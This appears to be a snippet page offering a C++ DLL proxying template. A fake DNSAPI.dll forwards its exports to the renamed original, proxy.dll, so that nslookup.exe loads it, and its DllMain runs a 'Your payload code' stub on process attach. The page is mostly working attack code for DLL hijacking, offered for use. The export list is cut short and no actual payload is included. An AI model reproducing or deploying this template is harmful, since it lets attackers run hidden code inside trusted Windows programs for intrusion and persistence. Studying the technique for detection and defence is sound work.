(C++) DLL Proxying by Sh0ckFR

Created the Monday 25 July 2022. Updated 4 months ago.

Description:

DLL Proxying code via DNSAPI.dll on nslookup.exe, in this exemple, the original DNSAPI.dll file must be renamed proxy.dll and the generated dll must be named DNSAPI.dll.

Code

            #pragma once
#pragma comment(linker,"/export:AdaptiveTimeout_ClearInterfaceSpecificConfiguration=proxy.AdaptiveTimeout_ClearInterfaceSpecificConfiguration,@1")
#pragma comment(linker,"/export:AdaptiveTimeout_ResetAdaptiveTimeout=proxy.AdaptiveTimeout_ResetAdaptiveTimeout,@2")
#pragma comment(linker,"/export:AddRefQueryBlobEx=proxy.AddRefQueryBlobEx,@3")
#pragma comment(linker,"/export:BreakRecordsIntoBlob=proxy.BreakRecordsIntoBlob,@4")
#pragma comment(linker,"/export:Coalesce_UpdateNetVersion=proxy.Coalesce_UpdateNetVersion,@5")
#pragma comment(linker,"/export:CombineRecordsInBlob=proxy.CombineRecordsInBlob,@6")
#pragma comment(linker,"/export:DeRefQueryBlobEx=proxy.DeRefQueryBlobEx,@7")
...

int Main()
{
    // Your payload code.
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        Main();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}